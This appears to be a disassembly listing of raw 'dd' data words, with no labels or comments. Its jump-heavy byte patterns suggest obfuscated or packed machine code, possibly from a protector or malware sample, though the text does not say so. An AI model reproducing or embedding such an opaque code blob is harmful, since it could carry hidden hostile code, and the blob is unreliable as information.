		dd 282901F2h, 0C8BB46B6h, 0E87EBC3Ah, 12h, 69FAA172h, 356A3494h
		dd 0DA70B588h, 0DC42058Eh, 7E8429Bh, 3000000h, 822B580Dh
		dd 0EF818B79h, 60B98FA7h, 0F38B5E5Fh, 8E0Fh, 6E90000h
		dd 47000000h, 369AF910h, 0BE9F7h, 2D4B0000h, 554117Ch
		dd 6997C7E0h, 5BD3BA0Fh, 0CE911B3h, 55000000h, 0C6234100h
		dd 95C29E97h, 5315A655h, 5EFFB70Fh, 58F0Fh, 0F1BA0000h
		dd 0E90CC3A3h, 6, 6ABDD9F9h, 1CBAAA24h,	81098754h, 7926A2F7h
		dd 8BADB115h, 0E18166F1h, 0F28B42EAh, 6E91DB7h,	0C4000000h
		dd 9FBF4DB9h, 0FC78B6Ch, 0D08AC6B7h, 0EE0511BBh, 0E9E88A22h
		dd 7, 0B7E0957Fh, 0F9EF83Ch, 1985h, 14E900h, 5A2C0000h
		dd 0D3F37D93h, 0CAE5601Ch, 49DC9887h, 0DF72AB62h, 8C0FE35Eh
		dd 4, 5B5E5157h, 60C18166h, 11E8F9B5h, 0B1000000h, 658BE65Ah
		dd 14EA64D2h, 619B11ADh, 0E9F40F58h, 78B0F5Ah, 56000000h
		dd 25E78166h, 0DBB65B0Ah, 12E9h, 821A3200h, 0DDB05D52h
		dd 3E37F9A7h, 56E9CADFh, 81A22A30h, 32D817CFh, 0D9816669h
		dd 9E9C61Eh, 35000000h,	600CFAC2h, 750940F5h, 8E2099B8h
		dd 0F53F56Ch, 280h, 5BD38B00h, 0E86068B7h, 14h,	0BC63F9Ch
		dd 0ED4122B4h, 9F03D4h,	33A958ABh, 0D19EC490h, 7E9h, 0F8BAFE00h
		dd 0BEF3327Ch, 0D181665Eh, 0BE6107E8h, 2851182Dh, 0D3CE8166h
		dd 0C68B668Dh, 8B4ED380h, 0B70F50DEh, 0F605FF2h, 88h, 28D0F00h
		dd 50000000h, 0EE8615Bh, 1F000000h, 26F0AF29h, 63FF1914h
		dd 2B0FD5FDh, 0CE81Bh, 0CF7D0000h, 0ED93CA09h, 0F5EB04BEh
		dd 0CB8B1759h, 66605F58h, 0E97E70BFh, 9, 0A6236194h, 7A34A4DBh
		dd 41B961DFh, 0E911F43Eh, 6, 746F352Bh,	0BE66D67Eh, 14E9C8E3h
		dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh
		dd 0FBAC08Eh, 0CE8BD3BFh, 60CABF0Fh, 616EB1FCh,	8C72F3BEh
		dd 10E8F927h, 0E9000000h, 60C89915h, 0F00BA291h, 799FF202h
		dd 5A09D34Eh, 8E0FD88Ah, 3, 0FD1BF0Fh, 48Ah, 0ACB96600h
		dd 0F87B2F9h, 1180h, 8E800h, 8BBA0000h,	3E627AB9h, 0BF0FB7DCh
		dd 8B665FC1h, 0D88B66F0h, 58B55E52h, 0ED08B966h, 0EE9h
		dd 4ED25700h, 73D7D2B6h, 60770C7Fh, 6651CCB6h, 665A75B9h
		dd 80F1E881h, 6EF2BA66h, 0ACB45760h, 61D7B45Eh,	800FEC8Ah
		dd 3, 57D7B70Fh, 5EF3B70Fh, 8B66CB8Bh, 0E98166DEh, 8A0FB4BCh
		dd 3, 66D98B66h, 603636BBh, 0DE9h, 0E14C5800h, 48095D35h
		dd 0E7D8F0A1h, 81662A13h, 61C29AD2h, 6662B660h,	0F61F88Bh
		dd 980h, 81F86000h, 494D5FE0h, 0E080617Dh, 0DEB70FC7h
		dd 0E9D88B60h, 13h, 6B965D70h, 93E10279h, 260626F2h, 54223952h
		dd 61CD429Ch, 8BC2B70Fh, 10E9D7h, 0B8080000h, 8A6B29C3h
		dd 0E0D1E736h, 61FE7BD3h, 0D38B4065h, 49E8B866h, 0AE8h
		dd 12624600h, 697C6595h, 0F132C76h, 0FC5ACFBFh,	4F0BBB66h
		dd 1304E3B8h, 6A14BA6Ch, 8166562Bh, 0FED0DF2h, 8166C1B7h
		dd 81FB02E8h, 81183DE7h, 13E840h, 28E50000h, 9E2399BEh
		dd 43737B76h, 0DCC7BFC5h, 5999A46Eh, 0E9F860A3h, 0Fh, 63842C01h
		dd 0FE2723B0h, 0C8762D75h, 610BBB57h, 8E959h, 80750000h
		dd 2EF1E1F0h, 11E830CFh, 31000000h, 0D33F409h, 0A9BCFD88h
		dd 0A8F470AFh, 5B822D09h, 0BE9h, 620EBF00h, 4EF43ECAh
		dd 0F338EA0h, 0E681665Fh, 0B70FBD3Dh, 0FF48AFEh, 684h
		dd 5F526000h, 66616160h, 3139C681h, 13E8h, 1AE48800h, 0BBC9704h
		dd 0D098DBFAh, 1FC7181Ah, 0ECF23197h, 9E8h, 2D36D000h
		dd 8B1C2C79h, 0B70F9C6Bh, 8A5F5EC6h, 0F6BF0FD9h, 8E32BA66h
		dd 10E9h, 0C98B2A00h, 0C8778480h, 71C17F1Eh, 2B0EA65Ch
		dd 890F6028h, 5, 775E55BEh, 0C3816108h,	7B5C649Dh, 0FC9BF0Fh
		dd 580h, 8B665700h, 0F38B58D1h,	0BA66C68Bh, 8B66F38Fh
		dd 0C4E781C6h, 6619ABADh, 0E90C1EBAh, 0Dh, 11D7C0A1h, 8A53C03Dh
		dd 0F206EA6Eh, 0D3B70FDBh, 35C4B860h, 0B70F3A7Fh, 0BF5361C9h
		dd 16C78189h, 8160FC5Eh, 0ED985DC9h, 0F2816605h, 0F561DA42h
		dd 6870Fh, 860F0000h, 0
		dd 10860Fh, 0E9530000h,	9, 84AA753Dh, 834D3551h, 0EB815917h
		dd 56C4BBF1h, 0C850Fh, 8A0F0000h, 6, 0EFCECB81h, 0BB664E9Ch
		dd 0F58A71A7h, 861FF081h, 8B661F61h, 0E18166F3h, 0EABB547Ch
		dd 0E901DCF2h, 0Ah, 2FA464B4h, 0D9086294h, 80F91E1Eh, 8B6647EDh
		dd 9E8F0h, 641B0000h, 857A5A9Dh, 0FB0F6E7h, 665FFFB7h
		dd 0CC0DE381h, 8E9h, 5CCCD300h,	9D59CBB3h, 8B5A52BDh, 0D1CAB8D9h
		dd 0FEBA2002h, 0F4031F4h, 389h,	0FA8B6600h, 0FFBB70Fh
		dd 890FCBB7h, 3, 0E9F28B66h, 0Ah, 0D48AD1B1h, 8250F936h
		dd 830FCB60h, 9, 3850Fh, 0F1800000h, 12BE6665h,	12E9DDh
		dd 7DA50000h, 94D0B25h,	0DF60D6D8h, 18D6403Ch, 8D2F53D3h
		dd 18E08166h, 0FC8A5731h, 68D0F5Fh, 81000000h, 27926DF2h
		dd 0F18B6642h, 83D448BFh, 0F8C6811Dh, 6619972Bh, 850FDF8Bh
		dd 0Ch,	68A0Fh,	0E0810000h, 3ED1EC5Bh, 8FE280F5h, 0C38B6653h
		dd 8166515Bh, 5E3B78E7h, 11E9h,	5F8F1200h, 59E83CC7h, 3BEBC2CCh
		dd 0B598A60Eh, 81F9E100h, 68EA64CAh, 0EB816607h, 17BB0424h
		dd 5705AF49h, 5BF2B70Fh, 9E9h, 0B4DCD00h, 12BD91B5h, 7BBE4C16h
		dd 664693C6h, 0BE66D78Bh, 5DBA3E6Dh, 0E8400F0Fh, 8, 6725089h
		dd 0BD957ACAh, 0D18B6650h, 0BB66585Bh, 8B6606CAh, 0F7B70FD3h
		dd 51CABF0Fh, 6EBA6650h, 0F5F5E30h, 1787h, 12E900h, 23D40000h
		dd 9F1B7DABh, 651462E8h, 0E4A9885h, 8F07E5C7h, 0FE8B6651h
		dd 11E95Eh, 0E8C00000h,	35A223BDh, 0B5844E50h, 0CBBF1954h
		dd 0E8496875h, 0Dh, 5B506896h, 1A1D6749h, 0F697EE63h, 0CE9E0h
		dd 0CC0000h, 8AAC5E5Eh,	981A5021h, 0F5FD2F9h, 284h, 0E9FA8B00h
		dd 9, 7F463877h, 0F41F6E79h, 0D18BF579h, 0D4F08160h, 6616B34Ah
		dd 451CC381h, 0BE961h, 0A8020000h, 0C5B98C77h, 0DAE12B8Dh
		dd 0C8816665h, 81564825h, 0A24E54F2h, 5E95E71h,	0F5000000h
		dd 38F2A5B0h, 10E9h, 0A7B5E900h, 48E21701h, 2BE47770h
		dd 0F866975Eh, 880F18h,	66000000h, 0E381F28Bh, 4AF6DFBDh
		dd 6830Fh, 0C7810000h, 56BD1DB1h, 14E9h, 36497800h, 0CA58B624h
		dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh, 0FE990h, 6AF40000h
		dd 0BE9AF175h, 16E3349Bh, 0C4A46B13h, 8BD38BB2h, 0F8BF0FCFh
		dd 60FABF0Fh, 1860Fh, 80FC0000h, 60616AC8h, 12E9h, 202A1E00h
		dd 0F1017938h, 1DF5B4Eh, 0E134611Fh, 0E8D30F8Dh, 0Ch, 0C5758679h
		dd 385D4AF1h, 0E3F6688Ch, 7E9h,	39C3C800h, 147EC2D1h, 7CB6615Bh
		dd 502BB1BFh, 13800F6Dh, 0E8000000h, 0Bh, 520805ECh, 0F0D6A89Bh
		dd 0B3527BE7h, 8B0F5837h, 5, 0E2CB68B8h, 0AE95067h, 4A000000h
		dd 8985BCF9h, 482400D2h, 0C28B5A72h, 9E9FE8Bh, 0C4000000h
		dd 0BBB34C82h, 671577A7h, 5E8h,	0DA76100h, 0FC6063D4h
		dd 6149EC80h, 32B35059h, 88C0F5Fh, 0F000000h, 281h, 57616000h
		dd 0FE8h, 2E4F8A00h, 1B60F2FDh,	9DB97450h, 0D7F3A15Dh
		dd 585B5E53h, 0FA79F681h, 0FFC12FDh, 0ECBAD0B7h, 0E9338C5Ah
		dd 8, 24A24008h, 0DA7DB862h, 8C0Fh, 7E90000h, 71000000h
		dd 0D14E47DFh, 850F5409h, 4, 5EC78B50h,	9E8h, 549DE600h
		dd 0FA1CADE1h, 81584CA6h, 6708BBF1h, 38E0F2Dh, 0F000000h
		dd 0EE9CBBFh, 0E000000h, 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh
		dd 8E8F1h, 0F9D0000h, 5C380D63h, 665FD4BFh, 0DC8ADA8Bh
		dd 0E9D18B66h, 14h, 0FF2EA1DEh,	51BCC56Eh, 7DE8803Dh, 1D68D90Ah
		dd 0A1401DA5h, 8A60C88Ah, 11E8EFh, 0FFCE0000h, 23B868CEh
		dd 2D930AAFh, 209F7F4h,	0FC87F5D1h, 0D981615Ah,	58A25789h
		dd 0DE8D38Ah, 0AF000000h, 0E3C101E9h, 0C50EB80Dh, 907BDD9Ch
		dd 11E9h, 708C000h, 2415178h, 0BA7E70D9h, 0F760A78h, 665B5CC2h
		dd 764EDE81h, 10E9h, 0F067100h,	7C0C16D2h, 561D4B46h, 0B841274Ch
		dd 66C38BD2h, 0FB8BF38Bh, 8BF78B66h, 14E9D6h, 27340000h
		dd 0C5758679h, 385D4AF1h, 0E3F6688Ch, 248160D8h, 0BF0FAFFBh
		dd 0C98166DAh, 8B66CF32h, 0BF0F51DEh, 0BF0F58F2h, 0C18B66D1h
		dd 3FBED38Ah, 0B61208E0h, 5E912h, 0F4CB0000h, 51A1B185h
		dd 0EEE1C381h, 665F220Eh, 66E59ABEh, 0E855F7BFh, 7, 196C3AFh
		dd 0E98D3670h, 0Dh, 20FFE08Dh, 0B6114E87h, 77567683h, 5360597Ah
		dd 19C38166h, 8D0F5BDCh, 4, 1FF8B966h, 0CE861h,	4B0A0000h
		dd 80041D81h, 18468BA9h, 8F0F4F23h, 14h, 0FE9h,	0AF187200h
		dd 59977769h, 6E9E8BC1h, 9283B2B6h, 58E0F59h, 0BF000000h
		dd 38FB3CAEh, 781BD081h, 14E96808h, 1E000000h, 2B2C6EF4h
		dd 54E89106h, 3D326E02h, 7FC63B63h, 0E9E69FF9h,	6, 984D0856h
		dd 8057D882h, 0F5A3EE5h, 0BF0FDBBFh, 0D68166F9h, 0BB66EAD0h
		dd 0D1813191h, 0A960137h, 0D9D6BE66h, 12830Fh, 0DE90000h
		dd 84000000h, 0BBC9F42Fh, 0CDF2D875h, 1C30983Bh, 0E9C88B66h
		dd 5, 9EF83CB7h, 0C281F53Dh, 2147B6CDh,	810Fh, 8A0F0000h
		dd 8, 50D08152h, 5A0B86FDh, 0DA58C7B8h,	8E0F5353h, 6, 0FE02EB81h
		dd 0F5867EDh, 1A8Dh, 0CE86000h,	4B000000h, 3D78630Ch, 436134E1h
		dd 5B630B73h, 8D0Fh, 81610000h,	336E69C1h, 7E863h, 1D8E0000h
		dd 5947D07Bh, 5E4DB551h, 490AC2BBh, 10E851h, 8C520000h
		dd 0DD17F20Ah, 0C866A7F4h, 0AA1ECD27h, 5BF58AFFh, 0FC6B70Fh
		dd 584h, 8BF56000h, 0B70F61FBh,	0FA8B66FBh, 88C35CB9h
		dd 0E8FE8B47h, 8, 0F1BC65D5h, 0D56564A3h, 0DBBF0F5Ah, 0E9C38B66h
		dd 13h,	82CC99D1h, 66BE3F04h, 0F022BD61h, 5A8D3A53h, 66A8484Ah
		dd 6694DEBAh, 860FF28Bh, 4, 1119BA66h, 0A3CC80F9h, 615B5260h
		dd 0FFABF0Fh, 0D8Ch, 8E900h, 68C90000h,	65C12B2Dh, 8EBE67E0h
		dd 0E968323Fh, 9, 42DEBE67h, 16779207h,	8E9DFh,	0BE270000h
		dd 212EAB9Eh, 0D280038Ch, 66EDB8CFh, 0E88A41FAh, 0D68B66F5h
		dd 0F480CF8Bh, 0B70FFC7Ah, 91BF66C7h, 8BB8603Bh, 606E3A9Ah
		dd 616160FCh, 1B830F61h, 0E8000000h, 13h, 0F07499A9h, 76072635h
		dd 486C7DC2h, 7243AA2Ah, 5721AB47h, 8B665959h, 87F780F9h
		dd 0C2ABB866h, 12E8h, 88612B00h, 3B80E621h, 0A99C518Dh
		dd 53C6D74Fh, 0F54A0130h, 0DE95359h, 0F9000000h, 9314D0D2h
		dd 15A7F9B7h, 66F5D617h, 5BBB665Eh, 0B9F56011h,	1714A835h
		dd 0F3DC8061h, 8C0FF28Bh, 6, 10A0F081h,	0FE8179Eh, 3000000h
		dd 0B0FBB735h, 433F3F8Bh, 6309A631h, 0B70FBE27h, 2BE58D6h
		dd 801BBC93h, 0BCB367ECh, 0F681FE8Ah, 2F966594h, 66F38B66h
		dd 0BBF8D7BEh, 4073FD7Dh, 0FE91B866h, 1A18BB66h, 0BF0FC38Bh
		dd 874CB9F1h, 0E8814050h, 19B0E25Bh, 66C2BF0Fh,	8AB32BBBh
		dd 6ABA66DEh, 8B66602Ah, 8BF861F9h, 0BDCF80C6h,	0BE665660h
		dd 815AD431h, 72AB6DEEh, 81FC6147h, 68433DE6h, 3850F29h
		dd 80000000h, 14E94ADCh, 5C000000h, 0FF1DAAC4h,	7EF4AE47h
		dd 5A762F56h, 5BC954A5h, 0BF6A67D0h, 73785820h
		dd 880FC18Bh, 0
		dd 6E957h, 0F2660000h, 99FDBF7Bh, 10E85Ah, 8BEF0000h, 963A72DCh
		dd 0E147E82Ah, 87F6649Eh, 0BA66E1F4h, 665B3ECAh, 8166F18Bh
		dd 815055CFh, 4FC04EC1h, 85B86646h, 7CBA57ACh, 5E1811C8h
		dd 0BF6AF081h, 80F5592Bh, 3FB208CFh, 3709E281h,	0CE80DD9h
		dd 0FC000000h, 0E73C5482h, 0FC9674C7h, 602DDEE3h, 8D0Fh
		dd 61F50000h, 0D8E9815Bh, 8A027307h, 0CE9C2h, 9A0E0000h
		dd 94A094A5h, 559A1E7Dh, 14E9BBB5h, 0A1000000h,	731F436Dh
		dd 3349BFA7h, 0D08BD3B0h, 3FE22CB7h, 663668CCh,	0CA3AD281h
		dd 0D7A4D681h, 0E851183Fh, 11h,	75231EE4h, 0ABC025B0h
		dd 0D2E4C098h, 2B82DD2Dh, 5F7BB00Ch, 203ABF5Ah,	0C181184Ah
		dd 767D505Bh, 0D78B6050h, 0BF665861h, 665684AEh, 605AD68Bh
		dd 0E1816660h, 8E97AFEh, 0ED000000h, 958D37DEh,	61404076h
		dd 0F615A53h, 0B866F0BFh, 13E946EBh, 0D0000000h, 5426B0A0h
		dd 87672370h, 7280E7EFh, 7A6E1AD6h, 47B4A771h, 0CE9CE8Ah
		dd 7E000000h, 59167917h, 0D1C59572h, 811E43B6h,	0B2B5DEC0h
		dd 29F68103h, 0B6568E2Bh, 1BF781AAh, 0F68043Ch,	1380h
		dd 0AE800h, 0D4510000h,	85C07F17h, 92BED3F5h, 59CA8B66h
		dd 8890Fh, 81560000h, 0F3FF6AC1h, 850F5B34h, 3,	66F1B70Fh
		dd 0E89370B8h, 8, 0D650AD6Dh, 64578BA8h, 61D08166h, 0D88A5FFEh
		dd 0CE956h, 63D90000h, 0AE1C6177h, 11DBF903h, 0F95AD0B9h
		dd 0CC80D58Ah, 0E9F88A3Dh, 7, 0E138F886h, 0FC6C929h, 8Bh
		dd 0EE95600h, 0F4000000h, 933B7E53h, 0BEB7524Ch, 4E12DAEh
		dd 816658D4h, 66D7CCC2h, 0BE66C18Bh, 81F5445Dh,	2631A2F6h
		dd 5E825h, 30A00000h, 5EA2D974h, 81F7BF0Fh, 91E309CFh
		dd 0F78B6630h, 0F18BF960h, 0CF8B6661h, 11E9h, 0F943C700h
		dd 0C18899Bh, 958815BEh, 0D7BDF4C3h, 0BF66D964h, 860F7E26h
		dd 5, 14A1B7BFh, 67BB6648h, 0DE8B6635h,	0BF0FEC8Ah, 14E860F9h
		dd 0BD000000h, 0C2D31900h, 6C6E34F8h, 0E72E9913h, 79EC8A99h
		dd 663B30CDh, 815AD88Bh, 0CA977BE9h, 0CE86119h,	0AE000000h
		dd 5BD27244h, 5C56AD43h, 66830FBDh, 0CFDBD681h,	0FC38A5Ah
		dd 387h, 30C68000h, 0FE951h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh
		dd 0B5DF6F66h, 0DE9593Dh, 55000000h, 7F594DDBh,	9F881F92h
		dd 806A31BFh, 9E8h, 0F747CE00h,	731A4D82h, 8166E130h, 58DCFEC0h
		dd 9E9h, 0FCAA9D00h, 0E5DEEB37h, 0BB66B6B8h, 830F86B4h
		dd 15h,	10E9h, 50B09A00h, 345F8673h, 1B93F877h,	0D4565545h
		dd 0D38DBAF2h, 0B70F6F28h, 0C88166D0h, 0FE90BA0h, 50000000h
		dd 9B27B65Dh, 693FE52Fh, 0F4435427h, 8F0F053Dh,	5, 33CE8166h
		dd 0ABF6631h, 8850F42h,	0F000000h, 282h, 0E8DE8A00h, 11h
		dd 0FC907BDDh, 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 2850F22h
		dd 60000000h, 810F5B61h, 10h, 0BE9h, 6F6B6C00h,	79E519CAh
		dd 0E01A88B4h, 13E9h, 218AAC00h, 0F9981A50h, 9314D0D2h
		dd 15A7F9B7h, 66F5D617h, 5F506060h, 0F61C68Bh, 288h, 61616000h
		dd 0EE8h, 19DBC100h, 6AE2D934h,	71941453h, 5A9E70B9h, 7DE2C281h
		dd 816603A8h, 0E9A165D0h, 8, 14A29061h,	6FA97C25h, 1CC2CB81h
		dd 0E8574A02h, 13h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h
		dd 66722024h, 595FDF8Bh, 64E18166h, 58A0F8Fh, 0B9000000h
		dd 6B8C51D8h, 0BE960h, 7E6E0000h, 61BA9128h, 24C83D49h
		dd 6E910h, 0CF440000h, 0E5523A76h, 956FBB61h, 0BE660765h
		dd 0D38BD6C9h, 0E9D0B70Fh, 0Dh,	856AA4C1h, 0C4C50617h
		dd 0F4F167BDh, 8E93Bh, 0F6AD0000h, 1BF5DD1Eh, 0D0809D97h
		dd 28C0F2Ah, 0B6000000h, 8E98Eh, 0A7E40000h, 1AB31D96h
		dd 14E8D519h, 6A000000h, 12D8158Eh, 993C6663h, 4C271101h
		dd 7A0FBEA6h, 8B1D2718h, 3B958F7h, 6650F364h, 0DA8ACB8Bh
		dd 0EBBB76B4h, 6638A03Fh, 669308BEh, 816A0FBEh,	0C9944ED9h
		dd 0D5E1814Fh, 667D63E7h, 0F60B8BFh, 8166F1BFh,	0F8424CE3h
		dd 0F9B70F60h, 6E9h, 3BB11F00h,	61AAB1ACh, 28A0Fh, 85B40000h
		dd 0A9573ABEh, 58DE813Bh, 0BF36C2B9h, 4F5B47B5h, 0FF9B70Fh
		dd 58Bh, 0F7816600h, 0B866530Dh, 0D98B70EBh, 6E85CB5h
		dd 73000000h, 4D5212E1h, 0D981606Ah, 6080A7C5h,	5A61D18Bh
		dd 0B8B883B5h, 0E96294D1h, 0Ah,	3679F764h, 6608E914h, 0EE92E1Bh
		dd 97000000h, 9A618DCBh, 0CE145DCEh, 0EBA633F7h, 0F98B66BFh
		dd 0DE9h, 0D21F5C00h, 81BEE0C6h, 0E743F1Ah, 12E97C49h
		dd 0B000000h, 0CBDF4545h, 5154CDD5h, 637899A5h,	97B4FE04h
		dd 0DE8566Ch, 65000000h, 0F821921h, 125F741Eh, 8032E3F0h
		dd 8F0Fh, 5A5E0000h, 0FE9h, 8099DD00h, 77D7F634h, 0DD400945h
		dd 8671AB77h, 2830F60h,	8B000000h, 4A95B8C8h, 81614E0Ah
		dd 0F9B60EF2h, 1800F32h, 0F9000000h, 8B60F7B1h,	13B866F1h
		dd 3BBE6124h, 0E97A4700h, 6, 3838A95Fh,	8E0F40A1h, 1, 9DA80FCh
		dd 650DE281h, 12E911CCh, 35000000h, 81403D91h, 853D7404h
		dd 5A21B460h, 0CCC3EDF6h, 17810F2Ch, 0E9000000h, 12h, 46E8E306h
		dd 0B779262Fh, 15E72A8Fh, 104F0CD7h, 0BE6646B1h, 0CE94A75h
		dd 0DE000000h, 913D68F9h, 96447F5h, 0F5083381h,	8BA2F080h
		dd 0FD78BCBh, 0B8Ch, 58D0F00h, 66000000h, 7D8FE681h, 2F53BA66h
		dd 0D87CBA66h, 0DE8h, 3080B500h, 0C6AD3314h, 0D51B4309h
		dd 8166F01Dh, 5FA685E2h, 44F38160h, 515C6A9Bh, 5E9h, 6EFE5E00h
		dd 615E2ED6h, 48A0Fh, 8B560000h, 0F5605FCEh, 6D91B3BFh
		dd 0CE9616Bh, 0E5000000h, 39A9447h, 0ED239685h,	8B3C200Eh
		dd 0DE8B66F9h, 14E9h, 5556B400h, 7D8BDE19h, 5F9F683Bh
		dd 55DA7197h, 0CD665275h, 0E68166E7h, 0DE9DCBDh, 0CB000000h
		dd 9C9654CCh, 0D554A104h, 2647C710h, 1BCE8166h,	0FE9CDh
		dd 62100000h, 0CC75476Ch, 0EC54725Eh, 0BCF7B1A3h, 0EA81F56Bh
		dd 7160D7BCh, 0FF0BF0Fh, 388h, 8BD48000h, 28B0F60h, 8B000000h
		dd 2840FF7h, 0B2000000h, 8B666143h, 0FE9F5D0h, 0DE000000h
		dd 908B1336h, 0F54234ACh, 1D48352Ah, 0B866E9C5h, 0E9FC9992h
		dd 9, 6EA445C8h, 0D56F3C9Ch, 810FF9h, 0F5000000h, 0DE9h
		dd 740FD800h, 47C9B8DEh, 627B5788h, 89B91035h, 0F78178Eh
		dd 0B966F1B7h, 8A0F22E5h, 3, 0F5FFC57h,	38Eh, 0C2B70F00h
		dd 1DBA6660h, 76DA805Fh, 0B70FF561h, 14E9DAh, 772A0000h
		dd 0F713229Eh, 0D62C0B5Eh, 8C555B6Ch, 3124C717h, 8A0F33C1h
		dd 3, 0E9CE8B66h, 0Fh, 0BFF7FA2Fh, 91CD4019h, 28B5B065h
		dd 0E81AC02Eh, 13h, 0C255A912h,	571CF8DAh, 74B007Fh, 2D21B105h
		dd 0FDAF46Ah, 665AFABFh, 8E9F78Bh, 35000000h, 0AFF2A37h
		dd 0F6C1243h, 1B8Fh, 13E85000h,	42000000h, 16779207h, 59D852DFh
		dd 0C874119Ch, 39DE5775h, 595B01A6h, 6E9h, 0E8F74D00h
		dd 0F4D958Ah, 582h, 0E7816600h,	8166BBABh, 0E80110DEh
		dd 6, 72F6E92Ah, 5FBB54BCh, 5E5820E9h, 14E9h, 4A643200h
		dd 0FC3D5552h, 3B5ADF0h
		dd 1909CC8Eh, 6B043E5Ah, 0D2B70FA7h, 6665C280h,	1D98DF81h
		dd 0F50BBB66h, 6F8DBB66h, 0CB816660h, 0BA666D9Ah, 80619357h
		dd 0B7F96EC7h, 5830F2Ah, 0B9000000h, 126CE823h,	0FE8h
		dd 9D3BF000h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 2771C781h
		dd 575A75ACh, 6EDF805Fh, 0FDBB70Fh, 0DC8AC6B7h,	0F7C18166h
		dd 0B1EB812Ah, 0F8187E04h, 5609C281h, 0CB8B6EE5h, 0AFA939BAh
		dd 38A0F05h, 0F000000h,	0B866C8B7h, 66533229h, 4563EB81h
		dd 0D38B665Bh, 747167BFh, 0A00DB87Dh, 9E936D7h,	44000000h
		dd 1A92D0C0h, 0B3279E62h, 0FCFBF0Fh, 0C78BF7B7h, 14E860h
		dd 1BF80000h, 8AD7B348h, 99F704FAh, 500B427Ah, 8FC8DEC4h
		dd 870F2F15h, 0
		dd 0B70F615Ah, 61E4BED8h, 8F0F680Eh, 2,	0A0BAD18Ah, 0F496FE8h
		dd 284h, 0E9FB8B00h, 0Ch, 2E645665h, 25B92CC4h,	36A8FB0Fh
		dd 0BE9F8h, 507C0000h, 58EA802Fh, 4CA473CEh, 0DE8B660Dh
		dd 0F77BBA66h, 86A6D781h, 850F7544h, 0
		dd 10E8h, 4FC93000h, 94F02D77h,	2EF86C4Dh, 46780610h, 14E9BFh
		dd 67200000h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h
		dd 0B65A26CDh, 0DBCD80EDh, 8166C78Ah, 0E92BC9D7h, 13h
		dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h,	0B7855963h
		dd 0DE974h, 2D220000h, 82CF10ADh, 659382B5h, 8177FC6Ah
		dd 0D66948CFh, 0D98B600Bh, 79B3E981h, 8A6109A7h, 0E96FB0F4h
		dd 0Eh,	797154ADh, 93B2A6D8h, 2654DC95h, 8B661040h, 0F6BABFC3h
		dd 0F607384h, 68Fh, 8F0F00h, 0F000000h,	680h, 830F00h
		dd 61000000h, 66D3BF0Fh, 7C40C881h, 0BE9h, 0B098BB00h
		dd 85249BCEh, 0D1EC2261h, 0DE952h, 0F5710000h, 0C3191027h
		dd 0FD4A9158h, 59862EF6h, 5E23B966h, 830Fh, 7E90000h, 0C3000000h
		dd 737A608Bh, 8B668490h, 0E9F560D8h, 0Fh, 3A15C0EFh, 0F666CD7Fh
		dd 83468421h, 61F04046h, 0AA4BB866h, 0E95778B2h, 14h, 8C8EC367h
		dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh,	0B8BE665Fh
		dd 0FDBE6625h, 6E26BA7Ah, 0B966244Ch, 0E080505Dh, 8B66600Dh
		dd 0C08166F0h, 6661F384h, 8511CB81h, 0D8A0Fh, 8E90000h
		dd 9C000000h, 4529B533h, 0FC70A4Bh, 0EF80D2B7h,	0FA8B6659h
		dd 2850F57h, 60000000h,	66515A61h, 60BCE181h, 66C78B5Eh
		dd 0E8205ABAh, 12h, 5CD9A641h, 5D21410Eh, 0D04A32DDh, 0D85C433Ch
		dd 816667B3h, 58107CEFh, 0F6C18166h, 0EE8A1h, 0C9B00000h
		dd 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch, 8B5AE58Ah,	6E9C1h
		dd 0F8D0000h, 3B7FF8D3h, 4359BB66h, 50FB8B66h, 13E9h, 7D4FAF00h
		dd 46FF1657h, 0E1D3304h, 68DCE990h, 15749C26h, 5890F5Ah
		dd 0BE000000h, 3D8D8A55h, 0EE9F78Ah, 0BE000000h, 54CA00F8h
		dd 0D7025FA4h, 7CFEFC23h, 0D4D4BAD8h, 0D3BE6171h, 5251DCE2h
		dd 12E9h, 1AF64100h, 14C9170Eh,	2C6D41Ah, 74F88278h, 58F8F081h
		dd 0AE8h, 2E869000h, 0A448696h,	5955199Ah, 0F8BB060h, 28Ch
		dd 61616000h, 0D3BF0FF9h, 6E8h,	17038C00h, 66AF1964h, 60B6E081h
		dd 5F1815Bh, 81650231h,	1FB71EFh, 6E931h, 9010000h, 5075C324h
		dd 14E9h, 0F0BD4F00h, 0F3EE6784h, 0DEB0889Ah, 7DD7CC9Ch
		dd 0FBECEC6Fh, 0D6816097h, 6B7BA0D7h, 9E961h, 3F8E0000h
		dd 46FABCD8h, 50FBC1A9h, 0F605BF9h, 1184h, 0BE800h, 12590000h
		dd 0DFE6B63Ah, 378D19A2h, 6E85AF2h, 24000000h, 0F53EAD5Bh
		dd 5BC38B3Eh, 53FE8B61h, 605FBDB4h, 0FC88B66h, 6661C0B7h
		dd 0E8AD03BFh, 8, 4526539Ch, 0BDEEE972h, 11E95FF9h, 3D000000h
		dd 1EEEB8EDh, 690F8385h, 618DCB97h, 145DCE9Ah, 13E9h, 12615500h
		dd 0B1B73BD2h, 77BC0343h, 84F78910h, 69006D4Ch,	5E1BD281h
		dd 8B663371h, 4EBF52FBh, 583FA794h, 98C0Fh, 8C0F0000h
		dd 3, 0B8FFC480h, 0D53F6D7h, 0FE9h, 502D5700h, 0E46CD956h
		dd 7C5C87CEh, 958040B6h, 20C88166h, 0C6BF0F69h,	0AE860h
		dd 0F9720000h, 6D29ED54h, 4AA5783Bh, 5B9AD780h,	0D1BF0F60h
		dd 61616160h, 3850FFCh,	66000000h, 60F8F98Bh, 703EBF66h
		dd 61CB8B66h, 0BDCB8166h, 0F53603Ah, 0B85BF8BFh, 7ECB1D5Ch
		dd 12E961h, 39000000h, 0C861EBE0h, 0F18C4FD8h, 0D4F58C13h
		dd 5EA12E2Bh, 8166DE8Ah, 0FE02AD9h, 8166CFBFh, 0FF4DADBh
		dd 0D081C6BFh, 78C936Ch, 0E9FA8BF9h, 0Dh, 6FEE2B14h, 0E9653017h
